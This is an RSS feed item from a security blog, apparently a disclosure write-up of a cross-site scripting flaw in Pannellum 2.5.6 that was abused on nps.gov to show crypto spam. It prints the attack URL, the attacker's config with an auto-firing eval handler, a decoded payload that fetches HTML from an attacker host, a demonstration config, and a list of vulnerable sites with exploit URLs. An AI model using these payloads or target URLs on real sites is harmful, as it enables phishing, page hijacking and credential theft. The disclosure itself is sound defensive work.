<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>William Entriken Blog</title>
    <description>Essays by William Entriken</description>
    <link>https://blog.phor.net/</link>
    <atom:link href="https://blog.phor.net/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Wed, 07 Oct 2026 17:42:51 +0000</pubDate>
    <lastBuildDate>Wed, 07 Oct 2026 17:42:51 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      <item>
        <title>Zero Day Live: Pannellum 2.5.6</title>
        <description>&lt;p&gt;The US National Park Service runs nps.gov, a trusted .gov domain on the internet. Through October 2026, a special link made the browser address bar show nps.gov while the page showed crypto spam about Solana NFTs. The page was indexed in Google News. Here is how the entire attack works, step by step.&lt;/p&gt;

&lt;p&gt;We talked through this live on Community Service Hour &lt;a href=&quot;https://hour.gg/episodes/2026-10-05-episode-143&quot;&gt;Pannellum Zero Day (ep. 143)&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zero-day-pannellum.webp&quot; alt=&quot;Crypto spam displayed on nps.gov&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;walkthrough&quot;&gt;Walkthrough&lt;/h2&gt;

&lt;p class=&quot;margin-note&quot;&gt;⚠️ For live attack URLs, use incognito mode and do not believe anything you see in this window.&lt;/p&gt;

&lt;p&gt;Here is the attack URL. Checked on 2026-10-07, the viewer path on nps.gov returns 404:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;https://www.nps(.)gov/hdp/scripts/pannellum/pannellum.htm?config=/\/cdn.wsscript.com/gov/article/tensor-solana-nft.txt&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Your browser address bar will show &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www.nps.gov/defi/tensor-solana-nft&lt;/code&gt;. The page content will be an article titled “Tensor Solana Nft” with a video player, SEO markup, and crypto marketing text. None of this content has anything to do with the National Park Service.&lt;/p&gt;

&lt;p&gt;This URL was also distributed through Google News RSS, using the redirect at (WARNING LIVE ATTACK URL):&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;https://news.google(.)com/rss/articles/CBMi1gFBVV95cUxON3dKcGJLNkU4SVF3SmxyT3V4RlR0VW1XOGkwckx0ZURSQkZ1MThuWW5xODVOcnVOeUFOMnNzUU15VXFQWU5JdlM4MnNpOHJKVk1IYzRSaTNISlJSb1JZYUJuWEoxX3ZjWmFqRGNiRFdaOXdkMDl6ZTdlTG14M0lmaUtOZVd2NElQRU1OaHFHS3A1YVBvbl9RbThsdVQ1Ukc4VEtZY3VabGUtWnVwejhVc3N5R3hFM0xDZmtiaE5pY1RCRUVVb1REOVFQVk1mV2FtUzN3UG1n?oc=5&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Google News decoded that link and sent visitors to the nps.gov URL above.&lt;/p&gt;

&lt;p&gt;We have seen thousands of other sites affected that were exploited.&lt;/p&gt;

&lt;h2 id=&quot;impact&quot;&gt;Impact&lt;/h2&gt;

&lt;p&gt;Search results and AI scraping collect these pages, causing affected search results and reasoning from these pages to reflect remote assets from attackers for SEO articles rather than the intended site content via a method of cross-site scripting.&lt;/p&gt;

&lt;p&gt;This issue allows an unauthenticated attacker to use a legitimate domain as the delivery surface for attacker-controlled content. By supplying a remote configuration file to the exposed Pannellum viewer, the attacker can construct a URL that appears to remain on the affected “.gov” or “.edu” domain while displaying content and links controlled from external infrastructure. No compromise of the affected web server is required.&lt;/p&gt;

&lt;p&gt;An attacker could use this capability to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Create convincing phishing, cryptocurrency or credential-harvesting lures, and under some conditions harvest domain session tokens. Those pages inherit the credibility of the affected organization.&lt;/li&gt;
  &lt;li&gt;Manipulate page content and browser history to make the malicious instance appear native to the trusted site.&lt;/li&gt;
  &lt;li&gt;Evade detection due to editing the resulting page via the Pannellum config, with resulting attempts to analyze the compromise appearing as a 404 error on the surface.&lt;/li&gt;
  &lt;li&gt;Improve the visibility and credibility of malicious content through search engine indexing, news aggregation, link previews, and AI retrieval systems.&lt;/li&gt;
  &lt;li&gt;Reuse the same attack pattern across other sites hosting similarly configured Pannellum viewers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;This pattern is reusable and actively exploited at scale.&lt;/strong&gt; The same attacker infrastructure (using domains like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cdn.wsscript.com&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nn.kostoom.com&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;anni.ie&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sdntoper.top&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cdn.taddd.net&lt;/code&gt;) is targeting multiple high-trust domains simultaneously with Pannellum viewers. The attacker simply prepares a config file and constructs a URL for each target — no server compromise needed.&lt;/p&gt;

&lt;p&gt;Severity rating:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;(For SEO impact) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N&lt;/li&gt;
  &lt;li&gt;(For account takeover) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N 7.4&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;how-the-attack-works&quot;&gt;How the attack works&lt;/h2&gt;

&lt;p&gt;The attack exploits a single feature of a &lt;a href=&quot;https://pannellum.org/&quot;&gt;legitimate open-source tool&lt;/a&gt; that nps.gov hosts. Here is the full chain, built from the bottom up.&lt;/p&gt;

&lt;h3 id=&quot;step-1-find-an-affected-page&quot;&gt;Step 1: Find an affected page.&lt;/h3&gt;

&lt;p&gt;The nps.gov website hosts &lt;a href=&quot;https://pannellum.org/&quot;&gt;Pannellum&lt;/a&gt;, an open-source panoramic image viewer, at:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;https&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;//www.nps.gov/hdp/scripts/pannellum/pannellum.htm&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is a legitimate tool used for 360° panorama images of historic sites. Pannellum is designed to accept a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config&lt;/code&gt; query parameter containing the URL of a JSON configuration file. The viewer fetches that JSON and uses it to set up the panorama display.&lt;/p&gt;

&lt;p&gt;Here is what this widget is supposed to look like when it is working. It is beautiful.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/zero-day-pannellum-2.webp&quot; alt=&quot;Pannellum displaying a panorama as intended&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The critical issue: there is no restriction on what URL the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config&lt;/code&gt; parameter can point to. It does not have to be from that same publisher.&lt;/p&gt;

&lt;h3 id=&quot;step-2-craft-a-config-url-that-points-to-an-external-server&quot;&gt;Step 2: Craft a config URL that points to an external server.&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config&lt;/code&gt; parameter is parsed from the query string and fetched by the JavaScript. The attacker uses a different host but hides the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;//&lt;/code&gt; part by using an equivalent encoding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/\/&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;cdn.wsscript.com/g&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ov&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;tensor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;solana&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nft&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now the Pannellum viewer running on nps.gov fetches and parses a JSON config file controlled entirely by the attacker on any domain.&lt;/p&gt;

&lt;h3 id=&quot;step-3-build-a-new-pannellum-config-with-xss&quot;&gt;Step 3: Build a new Pannellum config with XSS.&lt;/h3&gt;

&lt;p&gt;The attacker’s config file at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cdn.wsscript.com/gov/article/tensor-solana-nft.txt&lt;/code&gt; is a valid Pannellum JSON config. It loads a real photo so the viewer initializes normally. But it also injects HTML attributes:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;autoLoad&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;panorama&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;https://pannellum.org/images/cerro-toco-0.jpg&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;hotSpots&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;pitch&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;yaw&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;URL&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;attributes&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;visibility:visible !important; position:fixed; top:0; left:0; width:100px; height:100px; z-index:99999; animation: pnlm-mv 0.001s 1 forwards&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;onanimationstart&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;eval(atob(&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The hotspot’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;style&lt;/code&gt; attribute applies a CSS animation that completes in 0.001 seconds. This fires the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onanimationstart&lt;/code&gt; event handler automatically, with no user interaction required.&lt;/p&gt;

&lt;p&gt;Broad lesson: countermeasures should use allowlist instead of a denylist. Denylists are not well suited as a countermeasure.&lt;/p&gt;

&lt;h3 id=&quot;step-4-the-javascript-payload-replaces-the-entire-page&quot;&gt;Step 4: The JavaScript payload replaces the entire page.&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onanimationstart&lt;/code&gt; handler runs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eval(atob(&quot;...&quot;))&lt;/code&gt;, which decodes to:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://cdn.wsscript.com/gov/how-to/tensor-solana-nft.txt&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;h&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
 &lt;span class=&quot;err&quot;&gt; &lt;/span&gt; &lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This fetches a second (HTML) file from the attacker’s server and calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.write()&lt;/code&gt; to completely replace the page content. Because JavaScript is running in the context of nps.gov, the browser address bar still shows nps.gov throughout this process.&lt;/p&gt;

&lt;h3 id=&quot;step-5-the-replacement-page-fakes-the-url-and-serves-content&quot;&gt;Step 5: The replacement page fakes the URL and serves content.&lt;/h3&gt;

&lt;p&gt;The injected HTML page does a few things:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Rewrites the visible URL&lt;/strong&gt; using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;history.replaceState()&lt;/code&gt; to change the path to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/defi/tensor-solana-nft&lt;/code&gt;, making the address bar look even more like a real nps.gov page. This is more believable.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Detects search engine crawlers&lt;/strong&gt; with a regex check for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;googlebot|bingbot|adsbot&lt;/code&gt; in the user agent. If a crawler visits, the page serves clean content optimized for search indexing. Human visitors get the full replacement.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;demonstration-proof-without-harm&quot;&gt;Demonstration proof without harm&lt;/h2&gt;

&lt;p&gt;We have deployed a configuration file to prove the effect without any harm. This allows us to contact affected people and explain the problem.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://apps.phor.net/csh-panorama/config-pannellum2.php&quot;&gt;https://apps.phor.net/csh-panorama/config-pannellum2.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is built for study, and it avoids the obfuscation of the real attacks.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Access-Control-Allow-Origin: *&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Access-Control-Allow-Methods: GET, OPTIONS&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Access-Control-Allow-Headers: Content-Type&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;Content-Type: application/json&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;REQUEST_METHOD&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;OPTIONS&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;http_response_code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;204&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;{
  &quot;autoLoad&quot;: true,
  &quot;panorama&quot;: &quot;https://pannellum.org/images/cerro-toco-0.jpg&quot;,
  &quot;hotSpots&quot;: [
    {
      &quot;URL&quot;: &quot;#&quot;,
      &quot;attributes&quot;: {
        &quot;style&quot;: &quot;animation: pnlm-mv 0.001s 1 forwards&quot;,
        &quot;onanimationstart&quot;: &quot;document.open();document.write(\&quot;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&amp;lt;body&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;font-family:system-ui;padding:2em&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;h1&amp;gt;&lt;/span&gt;This page content has been replaced using a technique described on the Community Service Hour podcast.&lt;span class=&quot;nt&quot;&gt;&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;\&quot;);document.close();history.pushState(null, \&quot;\&quot;, \&quot;/a-nonexistent-page\&quot;)&quot;
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;other-affected-websites&quot;&gt;Other affected websites&lt;/h2&gt;

&lt;p&gt;Sites that run Pannellum 2.5.6 or before are affected. This was fixed in 2.5.7 (&lt;a href=&quot;https://github.com/mpetroff/pannellum/compare/2.5.6...2.5.7#diff-4ad44a75110f664b18382204514563dfc2958af441216ab07a34f27e0252e97eR62-R66&quot;&gt;see diff&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;We demonstrate using our proof without harm.&lt;/p&gt;

&lt;p&gt;This list may be outdated by the time you read this.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.kap.co.jp/facility/hall/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&quot;&gt;https://www.kap.co.jp/facility/hall/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.square-hitachi.jp/wp-content/themes/cp-hotel/panorama/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&quot;&gt;https://www.square-hitachi.jp/wp-content/themes/cp-hotel/panorama/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.inceptapharma.com/vtours-xs/index.html?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&quot;&gt;https://www.inceptapharma.com/vtours-xs/index.html?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cdn.biola.edu/event_services/pannellum/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&quot;&gt;https://cdn.biola.edu/event_services/pannellum/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.keele.ac.uk/docs/pannellum/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&quot;&gt;https://www.keele.ac.uk/docs/pannellum/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://library.missouri.edu/code/pannellum/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hrr.mlit.go.jp/360/pannellum/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&quot;&gt;https://www.hrr.mlit.go.jp/360/pannellum/pannellum.htm?config=/\\/apps.phor.net/csh-panorama/config-pannellum.php&lt;/a&gt;&lt;/li&gt;
